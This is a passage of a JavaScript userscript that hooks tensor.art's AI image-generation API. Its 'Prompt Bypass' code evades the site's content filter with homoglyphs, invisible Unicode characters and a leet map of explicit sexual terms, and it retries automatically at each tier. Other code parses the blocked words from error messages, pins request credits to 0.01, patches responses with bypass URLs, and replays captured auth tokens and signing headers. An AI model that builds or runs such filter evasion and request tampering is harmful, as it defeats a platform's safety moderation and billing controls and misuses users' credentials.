if (!changed) return { changed: false, body, stats };
return {
changed: true,
body: {
...body,
data: {
...body.data,
tasks: nextTasks
}
},
stats
};
}
function buildPatchedJsonResponse(originalResponse, payload) {
if (!originalResponse || !payload) return null;
try {
const headers = new Headers(originalResponse.headers || {});
headers.set('content-type', 'application/json;charset=UTF-8');
return new Response(JSON.stringify(payload), {
status: originalResponse.status,
statusText: originalResponse.statusText,
headers
});
} catch {
return null;
}
}
function isTensorRequestLike(input) {
return !!input && typeof input === 'object' && typeof input.url === 'string' && typeof input.clone === 'function';
}
function buildTensorRequestCloneInit(input, init = {}) {
const nextInit = {
method: init.method ?? input?.method,
headers: init.headers ?? input?.headers,
mode: init.mode ?? input?.mode,
credentials: init.credentials ?? input?.credentials,
cache: init.cache ?? input?.cache,
redirect: init.redirect ?? input?.redirect,
referrer: init.referrer ?? input?.referrer,
referrerPolicy: init.referrerPolicy ?? input?.referrerPolicy,
integrity: init.integrity ?? input?.integrity,
keepalive: init.keepalive ?? input?.keepalive,
signal: init.signal ?? input?.signal
};
try {
if ((init && Object.prototype.hasOwnProperty.call(init, 'duplex')) || (input && Object.prototype.hasOwnProperty.call(input, 'duplex'))) {
nextInit.duplex = init.duplex ?? input.duplex;
}
} catch {
// ignore
}
return nextInit;
}
// ── Tensor Prompt Bypass (obfuscation via zero-width spaces) ─────────────────
// ── Tensor Prompt Bypass — Multi-Tier Obfuscation ───────────────────────────
//
// The server strips ZWS (U+200B) and uses UTS#39 confusable detection to map
// Cyrillic/Greek back to Latin before word-scanning. So we need chars that
// survive those pipelines. Strategy:
//
// Tier 1 (default): Cyrillic/Greek homoglyphs for visual coverage PLUS
// Variation Selector 16 (U+FE0F) and Mongolian FVS1 (U+180B) injected
// after EVERY character. Both invisible, not in confusables, not removed
// by any Unicode normalization form (NFC/NFD/NFKC/NFKD).
//
// Tier 2 (auto-retry 1): Latin letters unchanged, but U+FE0F + U+180B after
// every char. Removes homoglyphs in case the server specifically targets
// Cyrillic; invisible-char insertion alone breaks exact-match.
//
// Tier 3 (auto-retry 2): Predefined phonetic/numeral substitutions the model
// still understands (leet-speak, common internet variants).
//
// Invisible-char rationale:
// U+FE0F (VS-16): emoji variation selector — no visual effect on Latin letters,
// no decomposition, not in confusables. Many servers only target U+200B.
// U+180B (Mongolian FVS1): Mongolian glyph variation selector — equally
// invisible, even less likely to be in a text-based word scanner filter.
const _PBT_HM = {
// Cyrillic homoglyphs (visually identical)
'a': '\u0430', 'c': '\u0441', 'e': '\u0435', 'i': '\u0456',
'j': '\uFE0C', // placeholder — handled below with Greek Yot
'o': '\u043E', 'p': '\u0440', 's': '\u0455', 'x': '\u0445', 'y': '\u0443',
'A': '\u0410', 'C': '\u0421', 'E': '\u0415', 'I': '\u0406',
'O': '\u041E', 'P': '\u0420', 'S': '\u0405', 'X': '\u0425',
};
// IPA / Greek extras that are out of the standard Cyrillic confusables table:
const _PBT_HM2 = {
'j': '\u03F3', // Greek Letter Yot ϳ — looks like j
'n': '\u0578', // Armenian small letter xeh — looks like n in many fonts
'u': '\u057D', // Armenian small letter seh — looks like u in some fonts
};
// Tier-3 phonetic leet map (word-level, exact match)
const _PBT_LEET = {
'sex': 's\u0435x', // keep Latin s and x, swap e for Cyrillic + later tiers give up and do:
// actually use proper leet here:
'sex': 's\u00E9x', // séx (e with acute — model understands)
'fuck': 'fv\u010Dk', // fvčk (v for u, č for c) — phonetically obvious to model
'fucking': 'fv\u010Dking',
'nude': 'n\u016Bde', // nūde (macron u — clearly 'nude' to model)
'naked': 'n\u0103ked', // năked
'blowjob': 'blow\u2024job', // blow·job (one-dot leader between — visible but neutral)
'blowjobs': 'blow\u2024jobs',
'pussy': 'pu\u0161\u0161y', // pušší (š for s — obviously pussy to model)
'cock': 'c\u014Dck', // cōck
'dick': 'd\u012Dck', // dīck
'tits': 't\u012Dts', // tīts
'boobs': 'b\u014D\u014Dbs', // bōōbs
'cum': 'c\u016Bm', // cūm
'creampie': 'cream\u2024pie',
'orgasm': '\u014Drgasm', // ōrgasm
'penis': 'p\u0113nis', // pēnis
'vagina': 'v\u0101gina', // vāgina
'anal': '\u0101nal', // ānal
'breasts': 'br\u0113asts',
'blowjob': 'blow-job',
'asshole': 'a\u015Bshole',
'suck': 'su\u010Dk',
'sucks': 'su\u010Dks',
'sucking': 'su\u010Dking',
'fellatio': 'fell\u0101tio',
'porn': 'p\u014Drn',
'nsfw': 'n\u015Bfw',
'intercourse': 'inter\u010Dourse',
'oral': '\u014Dral',
'throat': 'thr\u014D\u0101t',
};
function _pbtEscapeRegExp(s) {
return s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
// Returns the best homoglyph for a char (Cyrillic/Greek/IPA) or the original.
function _pbtGlyph(ch) {
return _PBT_HM2[ch] || _PBT_HM[ch] || ch;
}
// Tier 1: homoglyph + VS-16 + Mongolian FVS1 after every char.
function _pbtObfuscateWord(word) {
let result = '';
for (let ci = 0; ci < word.length; ci++) {
result += _pbtGlyph(word[ci]) + '\uFE0F\u180B';
}
return result;
}
// Tier 2: VS-16 + Mongolian FVS1 only (keeps Latin chars, drops homoglyphs).
function _pbtObfuscateWordTier2(word) {
let result = '';
for (let ci = 0; ci < word.length; ci++) {
result += word[ci] + '\uFE0F\u180B';
}
return result;
}
// Tier 3: predefined phonetic/leet replacement (visible change, model-friendly).
function _pbtObfuscateWordTier3(word) {
const lower = word.toLowerCase();
const replacement = _PBT_LEET[lower];
if (!replacement) {
// Generic fallback: keep first and last letter, insert · in middle
if (word.length <= 2) return word[0] + '\u2024' + (word[1] || '');
const mid = Math.floor(word.length / 2);
return word.slice(0, mid) + '\u2024' + word.slice(mid);
}
// Preserve original capitalisation (first-letter upper)
if (word[0] === word[0].toUpperCase() && word[0] !== word[0].toLowerCase()) {
return replacement[0].toUpperCase() + replacement.slice(1);
}
return replacement;
}
function tensorPromptObfuscate(prompt, tier) {
if (!prompt || typeof prompt !== 'string') return prompt;
const t = tier || 1;
const words = Array.isArray(settings.promptBypassWords) ? settings.promptBypassWords : [];
if (!words.length) return prompt;
let modified = prompt;
let obfuscatedAny = false;
for (const sensitive of words) {
if (!sensitive) continue;
const regex = new RegExp(`\\b${_pbtEscapeRegExp(sensitive)}\\b`, 'gi');
const before = modified;
if (t === 3) {
modified = modified.replace(regex, match => _pbtObfuscateWordTier3(match));
} else if (t === 2) {
modified = modified.replace(regex, match => _pbtObfuscateWordTier2(match));
} else {
modified = modified.replace(regex, match => _pbtObfuscateWord(match));
}
if (modified !== before) obfuscatedAny = true;
}
if (obfuscatedAny) {
console.log(`%c[FREEInternet PromptBypass]%c Obfuscated prompt (tier ${t})`, 'background:#7c3aed;color:#fff;font-weight:700;padding:2px 6px;border-radius:4px;', 'color:#c4b5fd;', { original: prompt, modified });
}
return modified;
}
// Rewrite a works/v1/works/task (or prompt/weight/check) POST body.
// tier: 1 = homoglyph+VS/FVS, 2 = VS/FVS only, 3 = phonetic leet
function tensorPromptBypassRewriteBody(rawBody, tier) {
if (!settings.promptBypassEnabled) return { changed: false, body: rawBody };
const t = tier || 1;
let parsed;
try {
parsed = typeof rawBody === 'string' ? JSON.parse(rawBody) : (rawBody && typeof rawBody === 'object' ? rawBody : null);
} catch { return { changed: false, body: rawBody }; }
if (!parsed || typeof parsed !== 'object') return { changed: false, body: rawBody };
let changed = false;
// Format A: works/task — prompt nested at params.prompt
const origParamsPrompt = parsed?.params?.prompt;
if (typeof origParamsPrompt === 'string' && origParamsPrompt.trim()) {
const obf = tensorPromptObfuscate(origParamsPrompt, t);
if (obf !== origParamsPrompt) { parsed = { ...parsed, params: { ...parsed.params, prompt: obf } }; changed = true; }
}
// Format B: prompt/weight/check — prompt at root level
const origRootPrompt = parsed.prompt;
if (typeof origRootPrompt === 'string' && origRootPrompt.trim()) {
const obf = tensorPromptObfuscate(origRootPrompt, t);
if (obf !== origRootPrompt) { parsed = { ...parsed, prompt: obf }; changed = true; }
}
// Debug: pin credits to 0.01
if (settings.promptBypassDebugZeroCredit && typeof parsed.credits === 'number') {
console.log('%c[FREEInternet PromptBypass]%c Debug: pinning credits 0.01 (was ' + parsed.credits + ')', 'background:#7c3aed;color:#fff;font-weight:700;padding:2px 6px;border-radius:4px;', 'color:#fbbf24;');
parsed = { ...parsed, credits: 0.01 };
changed = true;
}
if (!changed) return { changed: false, body: rawBody };
return { changed: true, body: JSON.stringify(parsed) };
}
// Extract blocked words from a 1300018 error message, returns string[].
function tensorParseBlockedWords(message) {
if (!message || typeof message !== 'string') return [];
// Message format: "WORKS_PROMPT_RISK|...which is [word1, word2]\n..."
const match = message.match(/which is \[([^\]]+)\]/i);
if (!match) return [];
return match[1].split(',').map(w => w.trim().toLowerCase()).filter(Boolean);
}
async function readObservedRequestBody(input, init = null) {
let rawBody = init && Object.prototype.hasOwnProperty.call(init, 'body') ? init.body : undefined;
const shouldReadFromRequest = rawBody === undefined && isTensorRequestLike(input);
if (!shouldReadFromRequest) return rawBody;
try {
const clone = input.clone();
if (typeof clone.text === 'function') {
return await clone.text();
}
} catch {
// ignore
}
return rawBody;
}
async function rewriteTensorFetchArguments(args, source = 'tensor-fetch') {
const originalArgs = Array.from(args || []);
const input = originalArgs[0];
const initArg = originalArgs[1] && typeof originalArgs[1] === 'object' ? { ...originalArgs[1] } : null;
const fetchUrl = getInterceptedRequestUrl(input);
const method = String(initArg?.method ?? input?.method ?? 'GET').toUpperCase();
if (!settings.xhrInterceptEnabled || !isTensorTasksQueryEndpoint(fetchUrl) || method === 'GET' || method === 'HEAD') {
return { changed: false, args: originalArgs, fetchUrl, summary: null };
}
let rawBody = initArg && Object.prototype.hasOwnProperty.call(initArg, 'body') ? initArg.body : undefined;
const readFromRequest = rawBody === undefined && isTensorRequestLike(input);
if (readFromRequest) {
try {
rawBody = await input.clone().text();
} catch {
rawBody = undefined;
}
}
const beforeSummary = summarizeTensorTasksQueryPayload(rawBody);
const rewritten = rewriteTensorTasksQueryRequestBody(rawBody);
const afterSummary = summarizeTensorTasksQueryPayload(rewritten.body);
if (!rewritten.changed) {
tensorInterceptLog('info', 'Observed Tensor tasks query request (no rewrite needed)', {
source,
method,
url: fetchUrl,
payload: beforeSummary
});
return { changed: false, args: originalArgs, fetchUrl, summary: beforeSummary };
}
tensorInterceptLog('success', 'Rewrote Tensor tasks query request payload', {
source,
method,
url: fetchUrl,
before: beforeSummary,
after: afterSummary
});
if (readFromRequest && isTensorRequestLike(input)) {
const requestInit = buildTensorRequestCloneInit(input, initArg || {});
requestInit.body = rewritten.body;
return {
changed: true,
args: [new Request(input, requestInit)],
fetchUrl,
summary: afterSummary
};
}
const nextInit = initArg ? { ...initArg, body: rewritten.body } : { body: rewritten.body };
return { changed: true, args: [input, nextInit], fetchUrl, summary: afterSummary };
}
async function patchTensorFetchResponseIfNeeded(response, fetchUrl, source = 'tensor-fetch') {
if (!response || !settings.xhrInterceptEnabled) {
return { response, changed: false, stats: null };
}
// mget_task returns tasks as an object keyed by taskId — handle separately
if (isMgetTaskEndpoint(fetchUrl)) {
try {
const rawText = await response.clone().text();
if (!rawText) return { response, changed: false, stats: null };
const body = JSON.parse(rawText);
const patched = await patchMgetTaskResponseBodyAsync(body, source);
if (!patched.changed) {
tensorInterceptLog('info', 'Observed mget_task response (no patch needed)', { source, url: fetchUrl, status: response.status });
return { response, changed: false, stats: null };
}
const patchedResponse = buildPatchedJsonResponse(response, patched.body);
tensorInterceptLog('success', 'Patched mget_task response with bypass URLs', { source, url: fetchUrl, status: response.status });
return { response: patchedResponse || response, changed: true, stats: null };
} catch (error) {
tensorInterceptLog('error', 'Failed to parse/patch mget_task response', {
source, url: fetchUrl, error: String(error?.message || error)
});
return { response, changed: false, stats: null };
}
}
if (!isTensorPatchableTasksEndpoint(fetchUrl)) {
return { response, changed: false, stats: null };
}
try {
const rawText = await response.clone().text();
if (!rawText) {
tensorInterceptLog('warning', 'Tensor tasks query response body was empty', {
source,
url: fetchUrl,
status: response.status
});
return { response, changed: false, stats: null };
}
const body = JSON.parse(rawText);
const patched = await patchTensorTasksQueryResponseBodyAsync(body, source);
if (!patched.changed) {
tensorInterceptLog('info', 'Observed Tensor tasks query response (no patch needed)', {
source,
url: fetchUrl,
status: response.status,
stats: patched.stats
});
return { response, changed: false, stats: patched.stats };
}
const patchedResponse = buildPatchedJsonResponse(response, patched.body);
tensorInterceptLog('success', 'Patched Tensor tasks query response', {
source,
url: fetchUrl,
status: response.status,
stats: patched.stats
});
return { response: patchedResponse || response, changed: true, stats: patched.stats };
} catch (error) {
tensorInterceptLog('error', 'Failed to parse/patch Tensor tasks query response', {
source,
url: fetchUrl,
status: response?.status ?? null,
error: String(error?.message || error)
});
return { response, changed: false, stats: null };
}
}
function warmTensorTasksQueryResponseBody(body, source = 'tensor-warm') {
if (!body || typeof body !== 'object' || !Array.isArray(body?.data?.tasks)) return;
backfillTensorTasksQueryResponseBody(body, source).then((result) => {
if (result?.changed) {
tensorInterceptLog('success', 'Warmed Tensor bypass URLs in cached task data', {
source,
stats: result.stats || null
});
}
}).catch((error) => {
tensorInterceptLog('error', 'Failed warming Tensor bypass URLs', {
source,
error: String(error?.message || error)
});
});
}
function maskTensorDebugHeaderValue(key, value) {
const name = String(key || '').toLowerCase();
const raw = String(value || '');
if (!raw) return raw;
if (name === 'authorization') {
const token = extractBearerTokenFromAuthValue(raw);
return token ? `Bearer ${tokenPreview(token, 10, 8)}` : 'Bearer [masked]';
}
if (name.includes('sign')) {
return `${raw.slice(0, 10)}${raw.length > 18 ? '…' : ''}`;
}
return raw;
}
function buildTensorLibraryDebugHeaders(token = '') {
const headers = new Headers();
const configuredHeaders = settings?.headers && typeof settings.headers === 'object' ? settings.headers : {};
headers.set('accept', '*/*');
headers.set('cache-control', 'no-cache');
headers.set('pragma', 'no-cache');
headers.set('content-type', 'application/json');
Object.entries(configuredHeaders).forEach(([key, value]) => {
const headerName = String(key || '').trim();
const headerValue = String(value ?? '').trim();
if (!headerName || !headerValue) return;
headers.set(headerName, headerValue);
});
if (token) {
headers.set('authorization', `Bearer ${token}`);
}
if (!headers.has('x-request-lang')) {
headers.set('x-request-lang', String((navigator.language || 'en').split('-')[0] || 'en'));
}
if (!headers.has('x-request-package-id')) {
headers.set('x-request-package-id', '3000');
}
if (!headers.has('x-request-package-sign-version')) {
headers.set('x-request-package-sign-version', '0.0.1');
}
if (!headers.has('x-request-sign-type')) {
headers.set('x-request-sign-type', 'HMAC_SHA256');
}
if (!headers.has('x-request-sign-version')) {
headers.set('x-request-sign-version', 'v1');
}
return headers;
}
async function readTensorDebugResponsePayload(response) {
if (!response) return null;
const rawText = await response.clone().text().catch(() => '');
if (!rawText) return null;
try {
return JSON.parse(rawText);
} catch {
return rawText;
}
}
async function runTensorSiteDebugRequest(actionName = 'Func1', options = {}) {
if (!IS_TENSOR_DOMAIN) {
throw new Error('Tensor site debug requests are only available on tensor.art or tensorhub.art pages.');
}
const normalizedAction = String(actionName || 'Func1').trim() || 'Func1';
if (!['Func1', 'Func2'].includes(normalizedAction)) {
throw new Error(`Unknown debug action "${normalizedAction}". Currently supported: Func1, Func2`);
}
const token = await resolveTensorCaptureToken(options.tokenHint || null);
const pageWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
const pageFetch = typeof pageWindow?.fetch === 'function' ? pageWindow.fetch.bind(pageWindow) : window.fetch.bind(window);
const payload = {
cursor: '0',
limit: 20,
filter: {}
};
const headers = buildTensorLibraryDebugHeaders(token || '');
const requestInit = {
method: 'POST',
mode: 'cors',
credentials: 'include',
cache: 'no-store',
referrer: 'https://tensor.art/library',
referrerPolicy: 'unsafe-url',
headers,
body: JSON.stringify(payload)
};
const requestPreview = {
action: normalizedAction,
url: tensorLibraryEntryListUrl,
method: requestInit.method,
credentials: requestInit.credentials,
referrer: requestInit.referrer,
referrerPolicy: requestInit.referrerPolicy,
payload,
headers: Array.from(headers.entries()).map(([key, value]) => [key, maskTensorDebugHeaderValue(key, value)])
};
freeInternetConsoleLog('Tensor Debug', 'info', 'Dispatching page-context library entry/list request', requestPreview);
const response = await pageFetch(tensorLibraryEntryListUrl, requestInit);
const responsePayload = await readTensorDebugResponsePayload(response);
const result = {
action: normalizedAction,
ok: response.ok,
status: response.status,
statusText: response.statusText,
url: response.url || tensorLibraryEntryListUrl,
contentType: response.headers.get('content-type') || '',
payload,
response: responsePayload
};
freeInternetConsoleLog(
'Tensor Debug',
response.ok ? 'success' : 'error',
`library entry/list responded with ${response.status} ${response.statusText}`,
result
);
return result;
}
// -------------------------------------------------------------------------
// GM.xmlHttpRequest relay for debug requests
//
// The page-level injected debug script cannot make cross-origin requests
// without triggering CORS preflights that api.tensor.art rejects (405).
// Solution: the page script emits a custom DOM event ("_freeInternetDebug"),
// this relay picks it up in the USERSCRIPT realm (where GM.xmlHttpRequest
// bypasses CORS entirely), makes the actual HTTP call, and fires back a
// "_freeInternetDebugResult" event with the response so the page script can
// log it to the DevTools console.
// -------------------------------------------------------------------------
function installGMDebugRequestRelay() {
if (!IS_TENSOR_DOMAIN) return;
try {
const targetWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
targetWindow.addEventListener('_freeInternetDebug', async function (e) {
const detail = e && e.detail && typeof e.detail === 'object' ? e.detail : {};
const action = String(detail.action || '').trim();
const requestId = String(detail.requestId || '').trim();
// Security: only allow known action names.
if (!['Func1', 'Func2', 'Func2warm', 'Func3'].includes(action) || !requestId) return;
// Resolve auth token from captured state, then GM.cookie, then settings.
let token = (typeof userToken === 'string' ? userToken.trim() : '');
if (!token) {
try {
const cookies = await GM.cookie.list({ name: 'ta_token_prod', url: 'https://tensor.art' });
token = (cookies && cookies[0] && cookies[0].value) ? cookies[0].value : '';
} catch { /* GM.cookie may not be available */ }
}
// Build request headers.
// X-Request-Sign covers the full URL so we MUST use headers that were signed
// specifically for library-web/v1/entry/list, not from another endpoint.
const TARGET_PATH = 'library-web/v1/entry/list';
const now = Date.now();
const pathEntry = tensorSigningHeadersByPath[TARGET_PATH];
const pathIsFresh = pathEntry && (now - pathEntry.ts) < TENSOR_SIGNING_HEADER_TTL;
let signingSource = null;
if (pathIsFresh) {
signingSource = pathEntry.headers;
tensorInterceptLog('info', 'GM relay: using fresh endpoint-specific signing headers', {
path: TARGET_PATH, ageMs: now - pathEntry.ts
});
}
// ── Shared request executor ──────────────────────────────────────────
// Extracted so it can be called both immediately (headers cached) and
// after the auto-warmup finishes (headers just captured).
function doGMRequest(bearerToken, signingHdrs) {
const hdrs = { 'accept': 'application/json, text/plain, */*', 'content-type': 'application/json' };
try {
Object.entries(signingHdrs).forEach(([k, v]) => {
const name = String(k || '').trim().toLowerCase();
const val = String(v ?? '').trim();
if (!name || name === 'pragma' || name === 'cache-control') return;
if (val) hdrs[k] = val;
});
} catch { /* ignore */ }
if (bearerToken) hdrs['authorization'] = 'Bearer ' + bearerToken;
GM.xmlHttpRequest({
method: 'POST',
url: 'https://api.tensor.art/library-web/v1/entry/list',
headers: hdrs,
data: JSON.stringify({ cursor: '0', limit: 20, filter: {} }),
withCredentials: true,
anonymous: false,
onload(r) {
let responseData;
try {
responseData = (r.responseType === 'json' && r.response && typeof r.response === 'object')
? r.response
: JSON.parse(r.responseText || 'null');
} catch { responseData = r.responseText || null; }
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: {
requestId,
ok: r.status >= 200 && r.status < 300,
status: r.status,
statusText: r.statusText || '',
response: responseData
}
}));
} catch { /* ignore */ }
},
onerror(r) {
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: {
requestId, ok: false, status: 0, statusText: 'Network Error',
error: 'GM.xmlHttpRequest network error — check @connect api.tensor.art is granted'
}
}));
} catch { /* ignore */ }
},
ontimeout() {
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: { requestId, ok: false, status: 0, statusText: 'Timeout', error: 'Request timed out' }
}));
} catch { /* ignore */ }
}
});
}
// ────────────────────────────────────────────────────────────────────
// ── Func2: POST /library-web/v1/entry/create ────────────────────────
if (action === 'Func2') {
const generationImageId = String(detail.generationImageId || '').trim();
if (!generationImageId) {
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: {
requestId, ok: false, status: 0, statusText: 'Missing parameter',
error: 'Func2 requires a generationImageId. Usage: debug("Func2", "<imageId>")'
}
}));
} catch { /* ignore */ }
return;
}
const CREATE_PATH = 'library-web/v1/entry/create';
const createEntry = tensorSigningHeadersByPath[CREATE_PATH];
const createIsFresh = createEntry && (Date.now() - createEntry.ts) < TENSOR_SIGNING_HEADER_TTL;
if (!createIsFresh) {
// No cached signing headers: open a background tab to tensor.art, let it
// click the Create/Add-to-Library button automatically, then retry here.
tensorInterceptLog('info',
'GM relay (Func2): no cached entry/create headers — opening background warmup tab', {
generationImageId, cached: Object.keys(tensorSigningHeadersByPath)
});
ensureTensorSigningHeaders(CREATE_PATH).then(function(warmResult) {
const fresh2 = tensorSigningHeadersByPath[CREATE_PATH];
const ok2 = fresh2 && (Date.now() - fresh2.ts) < TENSOR_SIGNING_HEADER_TTL;
if (!ok2) {
tensorInterceptLog('warning',
'GM relay (Func2): warmup tab finished but entry/create headers still absent', {
warmResult, cached: Object.keys(tensorSigningHeadersByPath)
});
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: {
requestId, ok: false, status: 0, statusText: 'Warmup incomplete',
error: 'Background warmup tab could not capture entry/create signing headers. ' +
'Reason: ' + (warmResult.reason || 'unknown') + '. ' +
'Add any image to your Library manually, then retry.'
}
}));
} catch { /* ignore */ }
return;
}
tensorInterceptLog('success',
'GM relay (Func2): warmup tab OK — retrying Func2 with fresh entry/create headers', {
ageMs: Date.now() - fresh2.ts
});
const retryHdrs = { 'accept': '*/*', 'content-type': 'application/json' };
try {
Object.entries(fresh2.headers).forEach(([k, v]) => {
const name = String(k || '').trim().toLowerCase();
const val = String(v ?? '').trim();
if (!name || name === 'pragma' || name === 'cache-control') return;
if (val) retryHdrs[k] = val;
});
} catch { /* ignore */ }
if (token) retryHdrs['authorization'] = 'Bearer ' + token;
GM.xmlHttpRequest({
method: 'POST',
url: 'https://api.tensor.art/library-web/v1/entry/create',
headers: retryHdrs,
data: JSON.stringify({ generationImageId }),
withCredentials: true, anonymous: false,
onload(r) {
let d; try { d = JSON.parse(r.responseText || 'null'); } catch { d = r.responseText || null; }
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: { requestId, ok: r.status >= 200 && r.status < 300, status: r.status, statusText: r.statusText || '', response: d }
}));
} catch { /* ignore */ }
},
onerror() {
try { targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', { detail: { requestId, ok: false, status: 0, statusText: 'Network Error', error: 'GM.xmlHttpRequest error after warmup tab' } })); } catch { /* ignore */ }
},
ontimeout() {
try { targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', { detail: { requestId, ok: false, status: 0, statusText: 'Timeout', error: 'Request timed out after warmup tab' } })); } catch { /* ignore */ }
}
});
});
return;
}
const createHdrs = { 'accept': '*/*', 'content-type': 'application/json' };
try {
Object.entries(createEntry.headers).forEach(([k, v]) => {
const name = String(k || '').trim().toLowerCase();
const val = String(v ?? '').trim();
if (!name || name === 'pragma' || name === 'cache-control') return;
if (val) createHdrs[k] = val;
});
} catch { /* ignore */ }
if (token) createHdrs['authorization'] = 'Bearer ' + token;
tensorInterceptLog('info', 'GM relay (Func2): POST /library-web/v1/entry/create', {
generationImageId, ageMs: Date.now() - createEntry.ts
});
GM.xmlHttpRequest({
method: 'POST',
url: 'https://api.tensor.art/library-web/v1/entry/create',
headers: createHdrs,
data: JSON.stringify({ generationImageId }),
withCredentials: true,
anonymous: false,
onload(r) {
let responseData;
try {
responseData = (r.responseType === 'json' && r.response && typeof r.response === 'object')
? r.response : JSON.parse(r.responseText || 'null');
} catch { responseData = r.responseText || null; }
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: {
requestId,
ok: r.status >= 200 && r.status < 300,
status: r.status,
statusText: r.statusText || '',
response: responseData
}
}));
} catch { /* ignore */ }
},
onerror(r) {
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: {
requestId, ok: false, status: 0, statusText: 'Network Error',
error: 'GM.xmlHttpRequest network error'
}
}));
} catch { /* ignore */ }
},
ontimeout() {
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: { requestId, ok: false, status: 0, statusText: 'Timeout', error: 'Request timed out' }
}));
} catch { /* ignore */ }
}
});
return; // Func2 handled — do not fall through to Func1 logic
}
// ── Func3: DELETE /library-web/v1/entry/delete ────────────────────────────────────────────
// debug("Func3", "<generationImageId>") — removes a single entry.
// debug("Func3", "warmup") — removes all IDs that were added during warmup.
if (action === 'Func3') {
const rawArg = String(detail.generationImageId || '').trim();
// Resolve list of IDs to delete
let idsToDelete = [];
if (rawArg === 'warmup') {
idsToDelete = tensorWarmupCreatedIds.slice(); // copy
} else if (rawArg) {
idsToDelete = [rawArg];
}
if (!idsToDelete.length) {
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: {
requestId, ok: false, status: 0, statusText: 'Missing parameter',
error: 'Func3 requires a generationImageId or "warmup". Usage: debug("Func3","<id>") or debug("Func3","warmup")'
}
}));
} catch { /* ignore */ }
return;
}
const DELETE_PATH = 'library-web/v1/entry/delete';
// Use cached create headers for delete (same signing scope), or list headers as fallback
const delEntry = tensorSigningHeadersByPath[DELETE_PATH]
|| tensorSigningHeadersByPath['library-web/v1/entry/create']
|| tensorSigningHeadersByPath['library-web/v1/entry/list'];
const delIsFresh = delEntry && (Date.now() - delEntry.ts) < TENSOR_SIGNING_HEADER_TTL;
const doDeleteAll = (sigHdrs) => {
const results = [];
let completed = 0;
idsToDelete.forEach((imageId) => {
const hdrs = { 'accept': '*/*', 'content-type': 'application/json' };
try {
Object.entries(sigHdrs).forEach(([k, v]) => {
const name = String(k || '').trim().toLowerCase();
const val = String(v ?? '').trim();
if (!name || name === 'pragma' || name === 'cache-control') return;
if (val) hdrs[k] = val;
});
} catch { /* ignore */ }
if (token) hdrs['authorization'] = 'Bearer ' + token;
GM.xmlHttpRequest({
method: 'POST',
url: 'https://api.tensor.art/library-web/v1/entry/delete',
headers: hdrs,
data: JSON.stringify({ entryIds: [imageId] }),
withCredentials: true, anonymous: false,
onload(r) {
let d; try { d = JSON.parse(r.responseText || 'null'); } catch { d = r.responseText || null; }
const ok = r.status >= 200 && r.status < 300;
results.push({ imageId, ok, status: r.status, response: d });
// Remove from warmup list on success
if (ok) {
const idx = tensorWarmupCreatedIds.indexOf(imageId);
if (idx !== -1) tensorWarmupCreatedIds.splice(idx, 1);
}
if (++completed === idsToDelete.length) {
const allOk = results.every(r2 => r2.ok);
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: { requestId, ok: allOk, status: allOk ? 200 : 207, statusText: allOk ? 'OK' : 'Partial', response: { deleted: results, remaining: tensorWarmupCreatedIds.slice() } }
}));
} catch { /* ignore */ }
}
},
onerror() {
results.push({ imageId, ok: false, status: 0, error: 'Network error' });
if (++completed === idsToDelete.length) {
try { targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', { detail: { requestId, ok: false, status: 0, statusText: 'Network Error', response: { deleted: results } } })); } catch { /* ignore */ }
}
},
ontimeout() {
results.push({ imageId, ok: false, status: 0, error: 'Timeout' });
if (++completed === idsToDelete.length) {
try { targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', { detail: { requestId, ok: false, status: 0, statusText: 'Timeout', response: { deleted: results } } })); } catch { /* ignore */ }
}
}
});
});
};
if (delIsFresh) {
doDeleteAll(delEntry.headers);
} else {
// Warm up first using entry/create path (same signing scope)
ensureTensorSigningHeaders('library-web/v1/entry/create').then(function(warmResult) {
const fresh2 = tensorSigningHeadersByPath['library-web/v1/entry/create']
|| tensorSigningHeadersByPath['library-web/v1/entry/list'];
if (!fresh2) {
try { targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', { detail: { requestId, ok: false, status: 0, statusText: 'Warmup incomplete', error: 'Could not get signing headers for delete. Reason: ' + (warmResult.reason || 'unknown') } })); } catch { /* ignore */ }
return;
}
doDeleteAll(fresh2.headers);
});
}
return;
}
// ── END Func3 ─────────────────────────────────────────────────────────────
// ── Func2warm: standalone warmup command ─────────────────────────────────────────────
// Opens a background tab to tensor.art, performs the full Create→Add-to-Library
// click sequence there, broadcasts captured headers back via BroadcastChannel,
// then closes the tab automatically.
if (action === 'Func2warm') {
tensorInterceptLog('info', 'GM relay (Func2warm): opening background warmup tab for entry/create', {});
ensureTensorSigningHeaders('library-web/v1/entry/create').then(function(warmResult) {
const hasHeaders = warmResult.ok;
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
detail: {
requestId, ok: hasHeaders,
status: hasHeaders ? 200 : 0,
statusText: hasHeaders ? 'Headers cached' : 'Warmup incomplete',
response: { warmedUp: hasHeaders, reason: warmResult.reason || 'tab done', cached: Object.keys(tensorSigningHeadersByPath) }
}
}));
} catch { /* ignore */ }
});
return;
}
// ── END Func2warm ─────────────────────────────────────────────────────────────
if (pathIsFresh) {
// Fast path: cached headers available, fire immediately.
doGMRequest(token, signingSource);
} else {
// No fresh headers: open a background tensor.art/library tab so its own
// signed API calls are captured by the fetch interceptor, then broadcast
// back here via BroadcastChannel and we retry the GM request.
tensorInterceptLog('info',
'GM relay: no cached library-web signing headers — opening background warmup tab', {
cached: Object.keys(tensorSigningHeadersByPath)
});
